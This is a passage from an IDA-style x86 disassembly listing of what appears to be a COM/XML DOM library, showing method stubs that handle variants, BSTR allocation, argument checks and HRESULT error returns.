loc_69B53374:				; DATA XREF: .text:69B283B8o
		sub	dword ptr [esp+4], 20h
		jmp	sub_69B532BD
; ---------------------------------------------------------------------------


loc_69B5337E:				; DATA XREF: .text:69B28300o
		sub	dword ptr [esp+4], 24h
		jmp	sub_69B532BD

; =============== S U B	R O U T	I N E =======================================



sub_69B53388	proc near		; CODE XREF: sub_69B3FC6D+1Ap

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dword ptr [eax], offset	off_69B28990
		mov	dword ptr [eax+4], offset off_69B288D8
		mov	dword ptr [eax+8], offset off_69B28820
		mov	dword ptr [eax+0Ch], offset off_69B28750
		mov	dword ptr [eax+10h], offset off_69B28680
		mov	dword ptr [eax+14h], offset off_69B285D0
		mov	dword ptr [eax+18h], offset off_69B28518
		mov	dword ptr [eax+1Ch], offset off_69B28460
		mov	dword ptr [eax+20h], offset off_69B283B0
		mov	dword ptr [eax+24h], offset off_69B282F8
		mov	dword ptr [eax+28h], 1
		mov	[eax+2Ch], ecx
		retn	4
sub_69B53388	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B533E0	proc near		; CODE XREF: .text:69B54631j
					; .text:69B5463Bj ...
		push	24h
		push	offset dword_69B53488
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B53400
		mov	eax, 80004005h
		jmp	short loc_69B5347C
; ---------------------------------------------------------------------------


loc_69B53400:				; CODE XREF: sub_69B533E0+17j
		mov	esi, [ebp+8]
		push	dword ptr [esi+2Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_69B5341C
		mov	esi, 80070057h
		jmp	short loc_69B53469
; ---------------------------------------------------------------------------


loc_69B5341C:				; CODE XREF: sub_69B533E0+33j
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+2Ch]
		mov	ecx, [eax+1Ch]
		mov	[ebp-30h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	ecx, [eax]
		push	dword ptr [ebp+0Ch]
		push	offset stru_69B25E34
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		mov	[ebp-34h], esi
		jmp	short loc_69B53465
; ---------------------------------------------------------------------------


loc_69B53445:				; DATA XREF: .text:69B5348Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5344E:				; DATA XREF: .text:69B53490o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax


loc_69B53465:				; CODE XREF: sub_69B533E0+63j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B53469:				; CODE XREF: sub_69B533E0+3Aj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B5347C:				; CODE XREF: sub_69B533E0+1Ej
		call	sub_69B1853C
		retn	8
sub_69B533E0	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B53488	dd 0FFFFFFFFh			dd offset loc_69B53445
		dd offset loc_69B5344E

; =============== S U B	R O U T	I N E =======================================



sub_69B53494	proc near		; DATA XREF: .text:69B28A40o
		push	3Ch
		push	offset dword_69B535A8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B534B9
		mov	eax, 80004005h
		jmp	loc_69B53599
; ---------------------------------------------------------------------------


loc_69B534B9:				; CODE XREF: sub_69B53494+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+2Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	[ebp-30h], ebx
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B534D7
		mov	edi, [ebp+10h]
		cmp	edi, ebx
		jnz	short loc_69B534E1


loc_69B534D7:				; CODE XREF: sub_69B53494+3Aj
		mov	esi, 80070057h
		jmp	loc_69B53586
; ---------------------------------------------------------------------------


loc_69B534E1:				; CODE XREF: sub_69B53494+41j
		push	edi		; pvarg
		call	VariantInit
		mov	[ebp-4], ebx
		mov	eax, [esi+2Ch]
		mov	esi, [eax+1Ch]
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	[ebp-3Ch], eax
		push	eax		; int
		push	0Fh		; int
		push	dword ptr [ebp+0Ch] ; lpString
		mov	ecx, esi
		call	sub_69B49D8E
		mov	ecx, eax
		mov	[ebp-40h], ecx
		mov	[ebp-44h], ebx
		cmp	ecx, ebx
		jz	short loc_69B5354D
		call	sub_69B4B7D5
		mov	[ebp-44h], eax
		cmp	eax, ebx
		jz	short loc_69B5354D
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	[ebp-48h], eax
		mov	word ptr [edi],	8
		mov	ecx, [eax+0Ch]
		mov	[ebp-4Ch], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[edi+8], eax
		jmp	short loc_69B53559
; ---------------------------------------------------------------------------


loc_69B5354D:				; CODE XREF: sub_69B53494+87j
					; sub_69B53494+93j
		xor	eax, eax
		inc	eax
		mov	[edi], ax
		mov	[edi+8], ebx
		mov	[ebp-30h], eax


loc_69B53559:				; CODE XREF: sub_69B53494+B7j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-30h]
		jmp	short loc_69B53586
; ---------------------------------------------------------------------------


loc_69B53562:				; DATA XREF: .text:69B535ACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5356B:				; DATA XREF: .text:69B535B0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B53586:				; CODE XREF: sub_69B53494+48j
					; sub_69B53494+CCj
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B53599:				; CODE XREF: sub_69B53494+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B53494	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B535A8	dd 0FFFFFFFFh			dd offset loc_69B53562
		dd offset loc_69B5356B

; =============== S U B	R O U T	I N E =======================================



sub_69B535B4	proc near		; DATA XREF: .text:69B28A44o
		push	44h
		push	offset dword_69B536D0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B535F4
		mov	esi, [ebp+8]
		push	dword ptr [esi+2Ch]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B535FE
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B535F4:				; CODE XREF: sub_69B535B4+1Bj
		mov	eax, 80004005h
		jmp	loc_69B536C5
; ---------------------------------------------------------------------------


loc_69B535FE:				; CODE XREF: sub_69B535B4+2Fj
		mov	word ptr [ebp-40h], 1
		push	8		; vt
		push	ebx		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		lea	eax, [ebp+10h]
		push	eax		; pvarSrc
		lea	eax, [ebp-40h]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		mov	[ebp-44h], eax
		cmp	eax, ebx
		jnz	loc_69B536A7
		mov	edi, [ebp-38h]
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B53638
		mov	dword ptr [ebp-44h], 80070057h
		jmp	short loc_69B536A7
; ---------------------------------------------------------------------------


loc_69B53638:				; CODE XREF: sub_69B535B4+79j
		mov	[ebp-4], ebx
		mov	eax, [esi+2Ch]
		mov	esi, [eax+1Ch]
		mov	[ebp-48h], esi
		mov	[ebp-4Ch], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	[ebp-50h], eax
		mov	ecx, esi
		call	sub_69B48CEA
		cmp	edi, ebx
		jz	short loc_69B5366A
		push	edi		; lpString
		call	sub_69B1A587
		mov	[ebp-54h], eax
		jmp	short loc_69B53671
; ---------------------------------------------------------------------------


loc_69B5366A:				; CODE XREF: sub_69B535B4+A9j
		mov	dword ptr [ebp-54h], offset off_69B1A5AC


loc_69B53671:				; CODE XREF: sub_69B535B4+B4j
		push	ebx
		push	dword ptr [ebp-54h]
		push	dword ptr [ebp+0Ch]
		push	ebx
		mov	ecx, esi
		call	sub_69B4D02C
		jmp	short loc_69B536A3
; ---------------------------------------------------------------------------


loc_69B53682:				; DATA XREF: .text:69B536D4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5368B:				; DATA XREF: .text:69B536D8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-44h], eax


loc_69B536A3:				; CODE XREF: sub_69B535B4+CCj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B536A7:				; CODE XREF: sub_69B535B4+6Dj
					; sub_69B535B4+82j
		lea	eax, [ebp-40h]
		push	eax		; pvarg
		call	VariantClear
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-44h]


loc_69B536C5:				; CODE XREF: sub_69B535B4+45j
		call	sub_69B1853C
		retn	18h
sub_69B535B4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B536D0	dd 0FFFFFFFFh			dd offset loc_69B53682
		dd offset loc_69B5368B

; =============== S U B	R O U T	I N E =======================================



sub_69B536DC	proc near		; DATA XREF: .text:69B28A48o
		push	34h
		push	offset dword_69B537C0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B5371C
		mov	esi, [ebp+8]
		push	dword ptr [esi+2Ch]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B53726
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B5371C:				; CODE XREF: sub_69B536DC+1Bj
		mov	eax, 80004005h
		jmp	loc_69B537B6
; ---------------------------------------------------------------------------


loc_69B53726:				; CODE XREF: sub_69B536DC+2Fj
		xor	edi, edi
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B53734
		mov	edi, 80070057h
		jmp	short loc_69B537A3
; ---------------------------------------------------------------------------


loc_69B53734:				; CODE XREF: sub_69B536DC+4Fj
		mov	[ebp-4], ebx
		mov	eax, [esi+2Ch]
		mov	esi, [eax+1Ch]
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	[ebp-3Ch], eax
		mov	ecx, esi
		call	sub_69B48CEA
		push	ebx		; int
		push	0Fh		; int
		push	dword ptr [ebp+0Ch] ; lpString
		mov	ecx, esi
		call	sub_69B49D8E
		mov	[ebp-40h], eax
		cmp	eax, ebx
		jz	short loc_69B53777
		push	1
		push	eax
		mov	ecx, esi
		call	sub_69B3D570
		jmp	short loc_69B5379F
; ---------------------------------------------------------------------------


loc_69B53777:				; CODE XREF: sub_69B536DC+8Dj
		xor	edi, edi
		inc	edi
		mov	[ebp-44h], edi
		jmp	short loc_69B5379F
; ---------------------------------------------------------------------------


loc_69B5377F:				; DATA XREF: .text:69B537C4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B53788:				; DATA XREF: .text:69B537C8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B5379F:				; CODE XREF: sub_69B536DC+99j
					; sub_69B536DC+A1j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B537A3:				; CODE XREF: sub_69B536DC+56j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B537B6:				; CODE XREF: sub_69B536DC+45j
		call	sub_69B1853C
		retn	8
sub_69B536DC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B537C0	dd 0FFFFFFFFh			dd offset loc_69B5377F
		dd offset loc_69B53788

; =============== S U B	R O U T	I N E =======================================



sub_69B537CC	proc near		; DATA XREF: .text:69B28A4Co
		push	30h
		push	offset dword_69B538A8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B537F1
		mov	eax, 80004005h
		jmp	loc_69B5389A
; ---------------------------------------------------------------------------


loc_69B537F1:				; CODE XREF: sub_69B537CC+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+2Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B5380E
		mov	dword ptr [ebp-30h], 80070057h
		jmp	short loc_69B53886
; ---------------------------------------------------------------------------


loc_69B5380E:				; CODE XREF: sub_69B537CC+37j
		mov	edi, [ebp+10h]
		cmp	edi, ebx
		jz	short loc_69B53817
		mov	[edi], ebx


loc_69B53817:				; CODE XREF: sub_69B537CC+47j
		mov	[ebp-4], ebx
		mov	eax, [esi+2Ch]
		mov	esi, [eax+1Ch]
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	[ebp-3Ch], eax
		push	eax		; int
		push	0Fh		; int
		push	dword ptr [ebp+0Ch] ; lpString
		mov	ecx, esi
		call	sub_69B49D8E
		mov	[ebp-40h], eax
		cmp	eax, ebx
		jz	short loc_69B53858
		cmp	edi, ebx
		jz	short loc_69B53858
		mov	ecx, [eax]
		push	edi
		push	offset dword_69B25DE4
		push	eax
		call	dword ptr [ecx]
		jmp	short loc_69B5387F
; ---------------------------------------------------------------------------


loc_69B53858:				; CODE XREF: sub_69B537CC+79j
					; sub_69B537CC+7Dj
		mov	dword ptr [ebp-30h], 1
		jmp	short loc_69B53882
; ---------------------------------------------------------------------------


loc_69B53861:				; DATA XREF: .text:69B538ACo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5386A:				; DATA XREF: .text:69B538B0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B5387F:				; CODE XREF: sub_69B537CC+8Aj
		mov	[ebp-30h], eax


loc_69B53882:				; CODE XREF: sub_69B537CC+93j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B53886:				; CODE XREF: sub_69B537CC+40j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B5389A:				; CODE XREF: sub_69B537CC+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B537CC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B538A8	dd 0FFFFFFFFh			dd offset loc_69B53861
		dd offset loc_69B5386A

; =============== S U B	R O U T	I N E =======================================



sub_69B538B4	proc near		; DATA XREF: .text:69B28A50o
		push	34h
		push	offset dword_69B539E0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B538F4
		mov	esi, [ebp+8]
		push	dword ptr [esi+2Ch]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B538FE
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B538F4:				; CODE XREF: sub_69B538B4+1Bj
		mov	eax, 80004005h
		jmp	loc_69B539D2
; ---------------------------------------------------------------------------


loc_69B538FE:				; CODE XREF: sub_69B538B4+2Fj
		mov	[ebp-34h], ebx
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B53912
		mov	dword ptr [ebp-34h], 80070057h
		jmp	loc_69B539BE
; ---------------------------------------------------------------------------


loc_69B53912:				; CODE XREF: sub_69B538B4+50j
		mov	[ebp-4], ebx
		mov	eax, [esi+2Ch]
		mov	esi, [eax+1Ch]
		mov	[ebp-38h], esi
		mov	[ebp-3Ch], esi
		mov	[ebp-40h], ebx
		mov	ecx, esi
		call	sub_69B48CEA
		push	dword ptr [ebp+0Ch]
		call	sub_69B47D5E
		mov	edi, eax
		mov	[ebp-40h], edi
		cmp	edi, ebx
		jz	short loc_69B53990
		mov	al, [edi+0Bh]
		and	al, 1Fh
		cmp	al, 0Fh
		jnz	short loc_69B53990
		push	ebx
		push	0Fh
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B49E5A
		mov	ebx, eax
		mov	[ebp-44h], ebx
		mov	ecx, esi
		test	ebx, ebx
		jz	short loc_69B5397E
		push	ebx
		push	edi
		call	sub_69B531F6
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_69B539BA
		mov	eax, [ebx]
		push	dword ptr [ebp+10h]
		push	offset dword_69B25DE4
		push	ebx
		call	dword ptr [eax]
		jmp	short loc_69B539B7
; ---------------------------------------------------------------------------


loc_69B5397E:				; CODE XREF: sub_69B538B4+ACj
		push	edi
		call	sub_69B4CD4D
		mov	eax, [ebp+10h]
		test	eax, eax
		jz	short loc_69B539BA
		and	dword ptr [eax], 0
		jmp	short loc_69B539BA
; ---------------------------------------------------------------------------


loc_69B53990:				; CODE XREF: sub_69B538B4+86j
					; sub_69B538B4+8Fj
		mov	dword ptr [ebp-34h], 80070057h
		jmp	short loc_69B539BA
; ---------------------------------------------------------------------------


loc_69B53999:				; DATA XREF: .text:69B539E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B539A2:				; DATA XREF: .text:69B539E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B539B7:				; CODE XREF: sub_69B538B4+C8j
		mov	[ebp-34h], eax


loc_69B539BA:				; CODE XREF: sub_69B538B4+B9j
					; sub_69B538B4+D5j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B539BE:				; CODE XREF: sub_69B538B4+59j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-34h]


loc_69B539D2:				; CODE XREF: sub_69B538B4+45j
		call	sub_69B1853C
		retn	0Ch
sub_69B538B4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B539E0	dd 0FFFFFFFFh			dd offset loc_69B53999
		dd offset loc_69B539A2

; =============== S U B	R O U T	I N E =======================================



sub_69B539EC	proc near		; DATA XREF: .text:69B28A54o
		push	30h
		push	offset dword_69B53B00
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B53A2C
		mov	esi, [ebp+8]
		push	dword ptr [esi+2Ch]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B53A36
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B53A2C:				; CODE XREF: sub_69B539EC+1Bj
		mov	eax, 80004005h
		jmp	loc_69B53AF2
; ---------------------------------------------------------------------------


loc_69B53A36:				; CODE XREF: sub_69B539EC+2Fj
		mov	[ebp-34h], ebx
		cmp	[ebp+0Ch], ebx
		jnz	short loc_69B53A4A
		mov	dword ptr [ebp-34h], 80070057h
		jmp	loc_69B53ADE
; ---------------------------------------------------------------------------


loc_69B53A4A:				; CODE XREF: sub_69B539EC+50j
		mov	[ebp-4], ebx
		mov	eax, [esi+2Ch]
		mov	esi, [eax+1Ch]
		mov	[ebp-38h], esi
		mov	[ebp-3Ch], esi
		mov	[ebp-40h], ebx
		mov	ecx, esi
		call	sub_69B48CEA
		push	dword ptr [ebp+0Ch]
		call	sub_69B47D5E
		mov	edi, eax
		mov	[ebp-40h], edi
		cmp	edi, ebx
		jz	short loc_69B53AB0
		mov	al, [edi+0Bh]
		and	al, 1Fh
		cmp	al, 0Fh
		jnz	short loc_69B53AB0
		push	ebx
		push	0Fh
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B49E5A
		cmp	edi, eax
		jnz	short loc_69B53AB0
		push	ebx
		push	edi
		mov	ecx, esi
		call	sub_69B3D570
		mov	edi, [ebp+10h]
		cmp	edi, ebx
		jz	short loc_69B53ADA
		mov	esi, [ebp+0Ch]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	[edi], esi
		jmp	short loc_69B53ADA
; ---------------------------------------------------------------------------


loc_69B53AB0:				; CODE XREF: sub_69B539EC+86j
					; sub_69B539EC+8Fj ...
		mov	dword ptr [ebp-34h], 80070057h
		jmp	short loc_69B53ADA
; ---------------------------------------------------------------------------


loc_69B53AB9:				; DATA XREF: .text:69B53B04o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B53AC2:				; DATA XREF: .text:69B53B08o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax


loc_69B53ADA:				; CODE XREF: sub_69B539EC+B5j
					; sub_69B539EC+C2j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B53ADE:				; CODE XREF: sub_69B539EC+59j
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-34h]


loc_69B53AF2:				; CODE XREF: sub_69B539EC+45j
		call	sub_69B1853C
		retn	0Ch
sub_69B539EC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B53B00	dd 0FFFFFFFFh			dd offset loc_69B53AB9
		dd offset loc_69B53AC2

; =============== S U B	R O U T	I N E =======================================



sub_69B53B0C	proc near		; DATA XREF: .text:69B28A5Co
		push	2Ch
		push	offset dword_69B53BB8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B53B4C
		mov	esi, [ebp+8]
		push	dword ptr [esi+2Ch]
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B53B53
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B53B4C:				; CODE XREF: sub_69B53B0C+1Bj
		mov	eax, 80004005h
		jmp	short loc_69B53BAE
; ---------------------------------------------------------------------------


loc_69B53B53:				; CODE XREF: sub_69B53B0C+2Fj
		mov	[ebp-4], ebx
		mov	eax, [esi+2Ch]
		mov	esi, [eax+1Ch]
		mov	[ebp-34h], esi
		mov	[ebp-38h], esi
		mov	ecx, esi
		call	sub_69B48CEA
		mov	ecx, esi
		call	sub_69B4A528
		mov	[ebp-3Ch], ebx
		jmp	short loc_69B53B96
; ---------------------------------------------------------------------------


loc_69B53B75:				; DATA XREF: .text:69B53BBCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B53B7E:				; DATA XREF: .text:69B53BC0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-3Ch], eax


loc_69B53B96:				; CODE XREF: sub_69B53B0C+67j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-3Ch]


loc_69B53BAE:				; CODE XREF: sub_69B53B0C+45j
		call	sub_69B1853C
		retn	4
sub_69B53B0C	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B53BB8	dd 0FFFFFFFFh			dd offset loc_69B53B75
		dd offset loc_69B53B7E
; ---------------------------------------------------------------------------


loc_69B53BC4:				; CODE XREF: .text:69B54659j
					; DATA XREF: .text:69B28804o
		push	2Ch
		push	offset dword_69B53C78
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B53BE9
		mov	eax, 80004005h
		jmp	loc_69B53C6C
; ---------------------------------------------------------------------------


loc_69B53BE9:				; CODE XREF: .text:69B53BDDj
		mov	esi, [ebp+8]
		push	dword ptr [esi+20h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B53C06
		mov	ebx, 80070057h
		jmp	short loc_69B53C59
; ---------------------------------------------------------------------------


loc_69B53C06:				; CODE XREF: .text:69B53BFDj
		mov	[ebp-4], ebx
		mov	eax, [esi+20h]
		mov	ecx, [eax+1Ch]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		push	1
		push	1
		push	1
		call	sub_69B4AAFC
		mov	[ebp-38h], eax
		cmp	eax, ebx
		jz	short loc_69B53C31
		mov	eax, [eax+8]
		mov	[ebp-3Ch], eax
		mov	[edi], eax
		jmp	short loc_69B53C55
; ---------------------------------------------------------------------------


loc_69B53C31:				; CODE XREF: .text:69B53C25j
		mov	[edi], ebx
		jmp	short loc_69B53C55
; ---------------------------------------------------------------------------


loc_69B53C35:				; DATA XREF: .text:69B53C7Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B53C3E:				; DATA XREF: .text:69B53C80o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B53C55:				; CODE XREF: .text:69B53C2Fj
					; .text:69B53C33j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B53C59:				; CODE XREF: .text:69B53C04j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B53C6C:				; CODE XREF: .text:69B53BE4j
		call	sub_69B1853C
		retn	8
; ---------------------------------------------------------------------------
		align 8
dword_69B53C78	dd 0FFFFFFFFh			dd offset loc_69B53C35
		dd offset loc_69B53C3E
; ---------------------------------------------------------------------------


loc_69B53C84:				; CODE XREF: .text:69B54663j
					; DATA XREF: .text:69B28808o
		push	34h
		push	offset dword_69B53DC0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B53CA7
		mov	eax, 80004005h
		jmp	loc_69B53DB8
; ---------------------------------------------------------------------------


loc_69B53CA7:				; CODE XREF: .text:69B53C9Bj
		mov	ebx, [ebp+8]
		push	dword ptr [ebx+20h]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		xor	edx, edx
		inc	edx
		mov	[ebp-30h], edx
		mov	eax, [ebp+14h]
		test	eax, eax
		jz	loc_69B53D9D
		and	dword ptr [eax], 0
		mov	esi, [ebp+0Ch]
		test	esi, esi
		jl	loc_69B53D93
		mov	edi, [ebp+10h]
		test	edi, edi
		jl	loc_69B53D93
		jz	loc_69B53DA4
		and	dword ptr [ebp-4], 0
		mov	eax, [ebx+20h]
		mov	ecx, [eax+1Ch]
		mov	[ebp-34h], ecx
		push	edx
		push	edx
		push	edx
		call	sub_69B4AAFC
		mov	ecx, eax
		call	sub_69B2F36F
		mov	[ebp-38h], eax
		test	eax, eax
		jz	loc_69B53D8D
		mov	ecx, [eax+8]
		mov	[ebp-3Ch], ecx
		cmp	esi, ecx
		jg	short loc_69B53D59
		test	ecx, ecx
		jz	short loc_69B53D8D
		lea	edx, [esi+edi]
		cmp	edx, ecx
		jle	short loc_69B53D29
		sub	ecx, esi
		mov	edi, ecx
		mov	[ebp+10h], edi


loc_69B53D29:				; CODE XREF: .text:69B53D20j
		lea	ecx, [esi+edi]
		push	ecx
		push	esi
		push	eax
		call	sub_69B2F0B1
		mov	ecx, eax
		call	sub_69B2F3CD
		mov	[ebp-40h], eax
		mov	ecx, [eax+0Ch]
		mov	[ebp-44h], ecx
		push	dword ptr [eax+8]
		push	ecx
		call	SysAllocStringLen
		mov	ecx, [ebp+14h]
		mov	[ecx], eax
		and	dword ptr [ebp-30h], 0
		jmp	short loc_69B53D8D
; ---------------------------------------------------------------------------


loc_69B53D59:				; CODE XREF: .text:69B53D15j
		push	0C00CE218h
		call	sub_69B2D34C
		mov	dword ptr [ebp-30h], 80070057h
		jmp	short loc_69B53D8D
